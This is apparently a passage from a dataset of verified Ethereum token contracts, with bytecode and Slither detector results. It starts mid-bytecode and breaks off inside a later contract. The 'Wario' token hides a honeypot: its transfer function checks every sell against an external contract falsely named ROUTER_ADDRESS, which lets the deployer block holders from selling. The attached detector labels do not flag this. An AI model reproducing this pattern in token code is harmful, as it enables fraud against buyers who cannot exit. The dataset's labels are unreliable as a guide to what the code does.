b6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4755434e0000000000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151857600080fd5b6000600460006101000a81548160ff0219169083151502179055506001905090565b60008060149054906101000a900460ff1615151561155757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115e157600080fd5b61163382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7f90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060149054906101000a900460ff1615151561179757600080fd5b61182682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7357600080fd5b611a7c81611e05565b50565b600080838311151515611a9157600080fd5b82840390508091505092915050565b6000808284019050838110151515611ab757600080fd5b8091505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611ae757600080fd5b611afc81600354611aa090919063ffffffff16565b600381905550611b5481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611c0b8282611eff565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611ce857600080fd5b611d7781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e018282611c01565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e4157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611f2557600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611f7357600080fd5b611f8881600354611a7f90919063ffffffff16565b600381905550611fe081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820fc329ab360f6f344801b74a351bb8fdfa56311107a3cad10964fb6af6dfa62c00029 | {"success": true, "error": null, "results": {}} | 990 |
0x3e5b103dc62bb557c097b45f6fc57b884ac4290a | /**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/WarioErc20
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="WARIO";
string constant TOKEN_NAME="Wario";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract BurnableToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102905780639e752b95146102be578063a9059cbb146102de578063dd62ed3e146102fe578063f42938901461034457600080fd5b806356d9dce81461021e57806370a0823114610233578063715018a6146102535780638da5cb5b1461026857600080fd5b8063293230b8116100d1578063293230b8146101c1578063313ce567146101d85780633e07ce5b146101f457806351bc3c851461020957600080fd5b806306fdde031461010e578063095ea7b31461014e57806318160ddd1461017e57806323b872dd146101a157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526005815264576172696f60d81b60208201525b60405161014591906114f0565b60405180910390f35b34801561015a57600080fd5b5061016e61016936600461155a565b610359565b6040519015158152602001610145565b34801561018a57600080fd5b50610193610370565b604051908152602001610145565b3480156101ad57600080fd5b5061016e6101bc366004611586565b610391565b3480156101cd57600080fd5b506101d66103fa565b005b3480156101e457600080fd5b5060405160068152602001610145565b34801561020057600080fd5b506101d6610772565b34801561021557600080fd5b506101d66107a8565b34801561022a57600080fd5b506101d66107d5565b34801561023f57600080fd5b5061019361024e3660046115c7565b610856565b34801561025f57600080fd5b506101d6610878565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610145565b34801561029c57600080fd5b50604080518082019091526005815264574152494f60d81b6020820152610138565b3480156102ca57600080fd5b506101d66102d93660046115e4565b61091c565b3480156102ea57600080fd5b5061016e6102f936600461155a565b610945565b34801561030a57600080fd5b506101936103193660046115fd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035057600080fd5b506101d6610952565b60006103663384846109bc565b5060015b92915050565b600061037e6006600a611730565b61038c906305f5e10061173f565b905090565b600061039e848484610ae0565b6103f084336103eb856040518060600160405280602881526020016118bd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1c565b6109bc565b5060019392505050565b6009546001600160a01b0316331461041157600080fd5b600c54600160a01b900460ff16156104705760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049c9030906001600160a01b031661048e6006600a611730565b6103eb906305f5e10061173f565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610513919061175e565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610575573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610599919061175e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a919061175e565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063a81610856565b60008061064f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106dc919061177b565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906117a9565b50565b6009546001600160a01b0316331461078957600080fd5b6107956006600a611730565b6107a3906305f5e10061173f565b600a55565b6009546001600160a01b031633146107bf57600080fd5b60006107ca30610856565b905061076f81610e56565b6009546001600160a01b031633146107ec57600080fd5b600c54600160a01b900460ff166108455760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610467565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036a90610fd0565b6000546001600160a01b031633146108d25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610467565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093357600080fd5b6009811061094057600080fd5b600855565b6000610366338484610ae0565b6009546001600160a01b0316331461096957600080fd5b4761076f8161104d565b60006109b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b9392505050565b6001600160a01b038316610a1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610467565b6001600160a01b038216610a7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610467565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610467565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610467565b60008111610c085760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610467565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7b91906117cb565b600c546001600160a01b038481169116148015610ca65750600b546001600160a01b03858116911614155b610cb1576000610cb3565b815b1115610cbe57600080fd5b6000546001600160a01b03848116911614801590610cea57506000546001600160a01b03838116911614155b15610e0c57600c546001600160a01b038481169116148015610d1a5750600b546001600160a01b03838116911614155b8015610d3f57506001600160a01b03821660009081526004602052604090205460ff16155b15610d9557600a548110610d955760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610467565b6000610da030610856565b600c54909150600160a81b900460ff16158015610dcb5750600c546001600160a01b03858116911614155b8015610de05750600c54600160b01b900460ff165b15610e0a57610dee81610e56565b47670de0b6b3a7640000811115610e0857610e084761104d565b505b505b610e178383836110b9565b505050565b60008184841115610e405760405162461bcd60e51b815260040161046791906114f0565b506000610e4d84866117e4565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9e57610e9e6117fb565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b919061175e565b81600181518110610f2e57610f2e6117fb565b6001600160a01b039283166020918202929092010152600b54610f5491309116846109bc565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8d908590600090869030904290600401611811565b600060405180830381600087803b158015610fa757600080fd5b505af1158015610fbb573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110375760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610467565b60006110416110c4565b90506109b58382610973565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611087573d6000803e3d6000fd5b5050565b600081836110ac5760405162461bcd60e51b815260040161046791906114f0565b506000610e4d8486611882565b610e178383836110e7565b60008060006110d16111de565b90925090506110e08282610973565b9250505090565b6000806000806000806110f987611260565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112b90876112bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115a90866112ff565b6001600160a01b03891660009081526002602052604090205561117c8161135e565b61118684836113a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111cb91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f36006600a611730565b611201906305f5e10061173f565b90506112296112126006600a611730565b611220906305f5e10061173f565b60055490610973565b8210156112575760055461123f6006600a611730565b61124d906305f5e10061173f565b9350935050509091565b90939092509050565b600080600080600080600080600061127d8a6007546008546113cc565b925092509250600061128d6110c4565b905060008060006112a08e878787611421565b919e509c509a509598509396509194505050505091939550919395565b60006109b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1c565b60008061130c83856118a4565b9050838110156109b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610467565b60006113686110c4565b905060006113768383611471565b3060009081526002602052604090205490915061139390826112ff565b30600090815260026020526040902055505050565b6005546113b590836112bd565b6005556006546113c590826112ff565b6006555050565b60008080806113e660646113e08989611471565b90610973565b905060006113f960646113e08a89611471565b905060006114118261140b8b866112bd565b906112bd565b9992985090965090945050505050565b60008080806114308886611471565b9050600061143e8887611471565b9050600061144c8888611471565b9050600061145e8261140b86866112bd565b939b939a50919850919650505050505050565b6000826114805750600061036a565b600061148c838561173f565b9050826114998583611882565b146109b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610467565b600060208083528351808285015260005b8181101561151d57858101830151858201604001528201611501565b8181111561152f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076f57600080fd5b6000806040838503121561156d57600080fd5b823561157881611545565b946020939093013593505050565b60008060006060848603121561159b57600080fd5b83356115a681611545565b925060208401356115b681611545565b929592945050506040919091013590565b6000602082840312156115d957600080fd5b81356109b581611545565b6000602082840312156115f657600080fd5b5035919050565b6000806040838503121561161057600080fd5b823561161b81611545565b9150602083013561162b81611545565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168757816000190482111561166d5761166d611636565b8085161561167a57918102915b93841c9390800290611651565b509250929050565b60008261169e5750600161036a565b816116ab5750600061036a565b81600181146116c157600281146116cb576116e7565b600191505061036a565b60ff8411156116dc576116dc611636565b50506001821b61036a565b5060208310610133831016604e8410600b841016171561170a575081810a61036a565b611714838361164c565b806000190482111561172857611728611636565b029392505050565b60006109b560ff84168361168f565b600081600019048311821515161561175957611759611636565b500290565b60006020828403121561177057600080fd5b81516109b581611545565b60008060006060848603121561179057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117bb57600080fd5b815180151581146109b557600080fd5b6000602082840312156117dd57600080fd5b5051919050565b6000828210156117f6576117f6611636565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118615784516001600160a01b03168352938301939183019160010161183c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261189f57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b7576118b7611636565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220689c230c83af836ce99f43dd4ccb0422c3093f102bd4e3aad428bb774bc7205a64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 991 |
0x173d1C114c5098Ae69811eFc63068388c80C87de | /**
*Submitted for verification at Etherscan.io on 2022-02-12
*/
//SPDX-License-Identifier: MIT
/**
About
During the Meiji Restoration, western puppy breeds were imported, they became so popular that almost no pure Shiba remained. To save Shiba Inus, Inugami, the god of dogs cast a spell to give 3,999 new born pure Shibas the ability to dress like their owners, allowing the puppies to grow with them as very close friends. These puppies are the Shiba Tamas. All Shiba Tamas blended in perfectly until hunters from around the world came to catch’em all, and trapped them inside the Ethereum Blockchain. The Shiba Tama House is now sending a distress signal to everyone of you to come save Shiba Tama. Join our community and rescue these cutes Shibas!
Tokenomics
4% Advertising/Dev Team
4% Reflections
4% Liquidity Pool
Symbol: SHIBATAMA
Supply: 14,000,000,000
Initial Liquidity: 3 ETH
Launch: ERC20 Ethereum UniSwap
Stealth Launch
Twitter: https://twitter.com/shibatamatoken
Telegram: https://t.me/shibatama_erc20
Website: https://shibatama.io/
Instagram: https://www.instagram.com/shibatamatoken/
**/
pragma solidity ^0.8.10;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
